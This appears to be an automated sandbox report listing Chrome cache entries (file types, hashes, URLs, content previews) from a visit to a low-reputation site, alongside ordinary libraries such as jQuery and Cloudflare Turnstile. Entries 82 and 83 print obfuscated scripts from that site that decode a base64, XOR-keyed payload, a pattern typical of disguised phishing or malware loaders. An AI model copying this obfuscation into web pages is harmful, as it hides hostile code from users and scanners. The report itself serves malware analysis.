Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 75

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 35970, version 1.0
Category:	downloaded
Size (bytes):	35970
Entropy (8bit):	7.989503040923577
Encrypted:	false
SSDEEP:	768:GJiLCleIZlcBvahjeheOQKskmCp9sE9gBkGgvU+7aAXDqWOtU:GJo9IgMKsQzJ9gBkZbuAXDqWV
MD5:	496B7BBDE91C7DC7CF9BBABBB3921DA8
SHA1:	2BD3C406A715AB52DAD84C803C55BF4A6E66A924
SHA-256:	AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
SHA-512:	E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/12pQHazQfq78CXM6wYqr50
Preview:	wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.\|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........

Chrome Cache Entry: 76

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45667)
Category:	downloaded
Size (bytes):	45806
Entropy (8bit):	5.207605835316031
Encrypted:	false
SSDEEP:	384:1ZS0CCnasl8gRR/PoPez+iCMN0Fkiw2Jh4RWdRGhAjbp2ChPL8cYRGv5MRUK6np9:/CCnVl7tUkBxkdRGOfDiY5C5MAn5GY2
MD5:	80F5B8C6A9EEAC15DE93E5A112036A06
SHA1:	F7174635137D37581B11937FC90E9CB325077BCE
SHA-256:	0401DE33701F1CAD16ECF952899D23990B6437D0A5B7335524EDF6BDFB932542
SHA-512:	B976A5F02202439D94C6817D037C813FA1945C6BB93762284D97FF61718C5B833402F372562034663A467FDBAA46990DE24CB1E356392340E64D034E4BA1B4E4
Malicious:	false
Reputation:	low
URL:	https://cdn.socket.io/4.6.0/socket.io.min.js
Preview:	/!. Socket.IO v4.6.0. * (c) 2014-2023 Guillermo Rauch. * Released under the MIT License.. */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).io=e()}(this,(function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function n(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function r(t,e,r){return e&&n(t.prototype,e),r&&n(t,r),Object.defineProperty(t,"prototype",{writable:!1}),t}function i(){return i=Object.assign?Object.assign.bind():function(t){for(var e=

Chrome Cache Entry: 77

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	231
Entropy (8bit):	6.725074433303473
Encrypted:	false
SSDEEP:	6:6v/lhPZsRtsa9hC0bKDHv5Ef30XY4qMa3IE6Aleup:6v/76eAhbSHusYX4E3
MD5:	547988BAC5584B4608466D761E16F370
SHA1:	C11BB71049702528402A31027F200184910A7E23
SHA-256:	70E32B2DB3F079BB0295A85A0DB15ED9E5926294DD947938D6CFA595F5AB18B4
SHA-512:	C4A76F6E94982D1CC02C2B67523A334E76BFDE525C1014D32DB9E7ECA0FA39A06F291ECFA94C8C6A49D488EA3ACF9C10DDF3CAD9515562010440863D0F08FBA3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............w=.....sRGB.........IDATHK...1...Z......... #$#..-.. $$3..H...q.x.>.x..yY.\|.@h.......$.B/..*Ec...J.}.....Rl..^.......#-...f.6p.cJigf...G.<.!.z..>a.+j....&U.....E/.._.`.d...~_....7...4`....IEND.B`.

Chrome Cache Entry: 78

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 83 x 34, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlS1tk/l6yxl/k4E08up:6v/lhPkEt/7Tp
MD5:	4C7103858A8323A6EB0EF885235229EE
SHA1:	3838B2AE297A0E246E5F197C93339A342CD91B55
SHA-256:	48175F389B9203CE2139074E313EDDC6DE5F0ECD24025B70488884D897681735
SHA-512:	51F792DE42B3413D75DFE6F59159F981B836EFAF89285E35C597F71CDB102B1447F76DA87D0D88EC26DF87C40C597D4FDBC667EBCFA7C2893B78E07CF3FC55D3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...S...".......r3....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 79

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/ij3i4kM8BpGcgwtnXl6yRLyzLL7MDsVlBROxxy3o56170
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 80

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2160 x 443, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	49602
Entropy (8bit):	7.881935507115631
Encrypted:	false
SSDEEP:	768:eKE36up1D3cLJg7zmjprNBQqJCoklwCeFrpKZ00PIwoftXEsQsV1kZ8IHml446Xe:KqupJ9+aqyqCz+0ALcmDIHnjL2p
MD5:	DB783743CD246FF4D77F4A3694285989
SHA1:	B9466716904457641B7831868B47162D8D378D41
SHA-256:	5913B1EC0FC58AB2BEC576804B9E9B566A584EA3D21A1BF74A7B40051A447FDC
SHA-512:	E6F36C52996B6BF8B07C7A102DEF2D555A1D35FA12F1A2016EDD8F3C86C33DD3545513B436AB6B4EF1D1CAD8A5CA5D352BA587EEE605638640B258C3976D9033
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/ijAHK25XxOXMFvIOtUy4tinE6RrAmRLZiVjc39gWxyjeDJrHll6oDyjjUUYj5jKyD12207
Preview:	.PNG........IHDR...p..........{......sBIT....\|.d.....pHYs..;...;...3.+....tEXtSoftware.www.inkscape.org..<... .IDATx...w.]U....L.I(!.B..J..R....PD.z-.(...4Q..MQ. .(..EE.AP:.....HI.... ....ur3..r.Y.\|....z..3.2.g..{..Y.V..6.u...U...Q.Z.X......m..........^......O.^l......Y.)`\|...:......x.:."0r...H.W.....,.......j.....L%]s../4.>.<.........S.$I.$I.$I.T.....(`s`S`.`C`mR..J...6.x.x.x..z9.......g..j}R...h.1.t]=....n..#.f.I.$I.$I.$I%c.G.. 5il.l.lCj.(S.F;.....7...AZ.@B....%.E....C.be3..K....S."CI.$I.$I.$I...jV.v.v.v$5l..M.ysI......x{/i...Y...o..m.......v.6.>R..$I.$I.$I.......F.{..6v!...1{.Y..9ng...S..TF.I..;.o&5A.....&.w....$5J..M$I.$I.$I.$.........Q;..IQ...9n.nl.Z.e.......j.`hd..{..=p-p=n."I.$I.$I.$eg.G...........8...i......b. [.{.V.........V...96GI.$I.$I.$IY...c ..R...Q.q..,..........Gm........X=6NW......clp.I.$I.$I.$IZ..g...s...c...F.A.<z*.Q.a...+.?....8.Xn.GO.$I.$I.$I..,O.l....@.....z.....R..a$.:...I.yb-....l....$I.$I.$I.$.....$.'S..j.p..3NBGX..M.3.?.......p$I.$

Chrome Cache Entry: 81

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 82

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1445), with CRLF line terminators
Category:	downloaded
Size (bytes):	1812
Entropy (8bit):	6.035702239881758
Encrypted:	false
SSDEEP:	48:7IyW7VTIXRgsQm7Z4IvuchbM9xpZgSKrM7RrMqZFRD8yV289SkE:uDxwVhAhgfY7RYm8yQH
MD5:	5F909034491F120EAEB14CF27E1A9776
SHA1:	56541C2EA4E8529314F8B2EAF4E0A2BC95B83C62
SHA-256:	2EB03B5B3230813BC7D5C49AC30FD37A66C5FFF89C78A01A24D732C1454E025D
SHA-512:	2104232D84FD079637BF091EE968B512FC5348B187BBA0883C039081DA42D68A332C89275688892E79D5883203D0D4692F51EA159762EED82D75DE07AF14CF58
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/yo0z/
Preview:	<script>..function jKdVKHwXyg(oytNpGOGVJ, JgMpuyYMMi) {..let aAUenXrkyN = '';..oytNpGOGVJ = atob(oytNpGOGVJ);..let VwxgqNUAWt = JgMpuyYMMi.length;..for (let i = 0; i < oytNpGOGVJ.length; i++) {.. aAUenXrkyN += String.fromCharCode(oytNpGOGVJ.charCodeAt(i) ^ JgMpuyYMMi.charCodeAt(i % VwxgqNUAWt));..}..return aAUenXrkyN;..}..var LBfVmSMwNa = jKdVKHwXyg(`DCJWFjo2OXlcekYwR0QDKyAMJQVqMlkWc3ttMDgeVD5CSj8pLiYlGV8/GwwyNSVpIgVSIkEWe3dkfFx6ViRbBycvIilxBF8iWTIUPAkMIVhzMFgTAxUPLygCGXFOaVlmbWdxBEIoFR9eTG1ncVAQcRVEISM5MiMeEDNBCzJuLDM+EhgSVAkkFh4FOQlCeBxEbnttBDAdRwFmJjs/P3xcehBxFUQuZi4mJRNYcR0BITRkZyp9OnEVRHNmbWdxAlUlQBY9ZismPQNVajhuc2ZtZyx9Oiw4bjogZRc8HXslQD4wKj9nbE0QcxdNKEtHZ3FQECZcCjcpOmk9H1MwQQ08KGMvIxVWcQhEJC8jIz4HHj1aBzIyJCg/XkAwQQw9JyAicVsQcwpGc21tZTVSC1w/GV5MJCF5IF08fhAmHC4rI1ARbAhEcWRkPFx6EHEVRDogbW8lH0M9YyMpAgY3eSBdPH4QJhwuKyNZGXFOaVlmbWdxBlEjFSISHwAuGipjJ01EbmYsMz4SGAFYCRgyOB0yHEJ4DmlZZm1ncQZRIxU0NSM0NCkaaAZMRG5mZQEQKX04fj4AMDVpPBFEMl1MfG4WGyZeHQweJAgnYD0QXWphGF19axBsDV5rMBgeEmsXd3xJbSoH

Chrome Cache Entry: 83

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (59581), with CRLF line terminators
Category:	downloaded
Size (bytes):	59948
Entropy (8bit):	5.755839288677504
Encrypted:	false
SSDEEP:	768:Dcl7/+hZkn7ZihX5XZNeZrzCx+RJsj3DSg0LB3cuWvcKGuSlnAbufMZifVh:mChk05XPeZpjXg0LVc5c35+e
MD5:	D5FA230BC5778ABBB507F8327988AEF0
SHA1:	6AF0FF8F84E640FD78C8392AD2094F4DA794C38E
SHA-256:	501FC4EAA06E45FA5FB3F2FAD9481F2CAD6A6131B65C6213CB87FFE721D6F83B
SHA-512:	D525820B625F451832CA161FCE4455A1A486EE9FAFED7293A5004C5DCDA40F8D05872F2AC00A3F54500674EE6481A61816D3DCFFE5005D2480EC0A99FFDE467F
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL
Preview:	<script>..function SVqyrQjsaz(kzFVxzAopz, PxEgwfDpVv) {..let PUXxDKitxI = '';..kzFVxzAopz = atob(kzFVxzAopz);..let NvXowWOuDn = PxEgwfDpVv.length;..for (let i = 0; i < kzFVxzAopz.length; i++) {.. PUXxDKitxI += String.fromCharCode(kzFVxzAopz.charCodeAt(i) ^ PxEgwfDpVv.charCodeAt(i % NvXowWOuDn));..}..return PUXxDKitxI;..}..var IzSjnsYJlO = SVqyrQjsaz(`cWotKQE1HSIATCU/BAp8bE5OLRggJ0kKIw8jT2cJI2lXa0hdLBckCHNGY0ZiQWRONg8/IhkSYhI2EXhOJT8dFjFba10mAykuRwwzFCEAPEIuJARJKBAxFzcVYHhHUGxRah8sAmMhGkR8XWsBJh4kOx1YT2tkUmVMcTgKFCsRMFI2Hi52Sw42FTQBf0NiKA0IbBIrES4JOWUACW1VakRrXGI4BgUpBDBcLANjJgAIbAs3UHtQYjgKFCsRMExIZm1rSUZ+EicALBw5axoUIVxmGjEYPThTSW0WMwVrCyIkDgonTycdKEM/LgoHMhUnGiRDLDsASCgSZkx5Qz4oGw8yFXp/T0xta0laLggqGWUeKCdURDEVPR4gHyUuDBJgQSwAIApwaUZTdCcJMwINL3oRUxpVfEt0Xm91ZGxiQWRSeQAkJQJGMAQoT2cfOTIFAzEJIRcxTm0jGwMkXGZdJA4+Ai0uGFI3JjcfDBkuUyUJd0JnUkBBSUZiQXgeLAImaxsDLlxmAjcJISQIAmBBLAAgCnBpGRcIViJLLyUFcw8xGhV1QHEOdDwRUnJDZBM2UW8tBgg2Q2QGPBwodksALQ8wXTIDKy1bRGICNh02HyI5AAErD3lQJAIiJRALLRQ3UHthR2tJ

Chrome Cache Entry: 84

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/qr61WfUGozdhThoMoyqT1oYX9BHQtkPGpGSwNBuvbfSZXhgYA5e6kaovOS5pXUef240
Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

Chrome Cache Entry: 85

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 83 x 34, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlS1tk/l6yxl/k4E08up:6v/lhPkEt/7Tp
MD5:	4C7103858A8323A6EB0EF885235229EE
SHA1:	3838B2AE297A0E246E5F197C93339A342CD91B55
SHA-256:	48175F389B9203CE2139074E313EDDC6DE5F0ECD24025B70488884D897681735
SHA-512:	51F792DE42B3413D75DFE6F59159F981B836EFAF89285E35C597F71CDB102B1447F76DA87D0D88EC26DF87C40C597D4FDBC667EBCFA7C2893B78E07CF3FC55D3
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8756a4b73c471383/1713296389254/anpd4FQprUR7OPG
Preview:	.PNG........IHDR...S...".......r3....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 86

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (40613)
Category:	downloaded
Size (bytes):	40614
Entropy (8bit):	5.377450345917815
Encrypted:	false
SSDEEP:	768:jCPkLHbU1h3W2JE84YYwMxNS+ZCotOYdvqhwxZ5VWYaKAdY5wImQLWQ4:lHbeh3W2lnYwOSXQvS
MD5:	D1048A66FC11EA28C3CB1488FAC82C62
SHA1:	F055707CF91F637EC19BF5E65BF378857E798469
SHA-256:	8F1AD19042C2F9EE60C2DE21F37F788AF7B1ECCCDA8EEC1D877F9B9C0E994370
SHA-512:	B7860E6DDE1626B7BABD4E2B2D61DF0F027F2193B8432B9D13D8EABAF0E0C58CA1BB51CF8DFF1D55ADE43BFF688497D03E0C9923BF3427D9828266C5A236A3E1
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/bcc5fb0a8815/api.js?render=explicit
Preview:	"use strict";(function(){function gt(e,r,t,i,u,s,m){try{var y=e[s](m),b=y.value}catch(d){t(d);return}y.done?r(b):Promise.resolve(b).then(i,u)}function yt(e){return function(){var r=this,t=arguments;return new Promise(function(i,u){var s=e.apply(r,t);function m(b){gt(s,i,u,m,y,"next",b)}function y(b){gt(s,i,u,m,y,"throw",b)}m(void 0)})}}function C(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):C(e,r)}function Ee(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function ze(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},i=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(i=i.concat(Object.getOwnPropertySymbols(t).filter(function(u){return Object.getOwnPropertyDescriptor(t,u).enumerable}))),i.forEach(function(u){Ee(e,u,t[u])})}return e}function ir(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertyS

Chrome Cache Entry: 87

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 88

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
Category:	downloaded
Size (bytes):	28584
Entropy (8bit):	7.992563951996154
Encrypted:	true
SSDEEP:	768:8n53CNftp4NM/2qxGvtAG9fvpWYSTvlj6OIqrd1xUseRc:85SNfQS2ntfxvpWYSTcfMERc
MD5:	17081510F3A6F2F619EC8C6F244523C7
SHA1:	87F34B2A1532C50F2A424C345D03FE028DB35635
SHA-256:	2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
SHA-512:	E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/78znHbZYRRXfAgqb9845YeYc8Jyst60
Preview:	wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww....eU..S.........0..S.s..,....\.e..F.&....oUR.}Q.C..2.TD....5..#..h.H.2.\|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#...#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......LCE..Nf~.N.eJ.iXnXC.&....t.U..Nr.@..lZ.... .X..

Chrome Cache Entry: 89

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
Category:	downloaded
Size (bytes):	28000
Entropy (8bit):	7.99335735457429
Encrypted:	true
SSDEEP:	768:NDT1rKvlJOE1AgLlnGj8H58AJUcl5I17ML7FfNHubNIphqb:NDtKvyAhjHeACcl21YL7KNW+
MD5:	A4BCA6C95FED0D0C5CC46CF07710DCEC
SHA1:	73B56E33B82B42921DB8702A33EFD0F2B2EC9794
SHA-256:	5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
SHA-512:	60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
Malicious:	false
Reputation:	low
URL:	https://qnh3b.putimp.com/pqJ7f9jIH8fWXt124b9wx40
Preview:	wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...\|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..\|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[\|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,......e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.\|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..\|.`...5:.Yd@]..j..$...v.

Chrome Cache Entry: 90

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
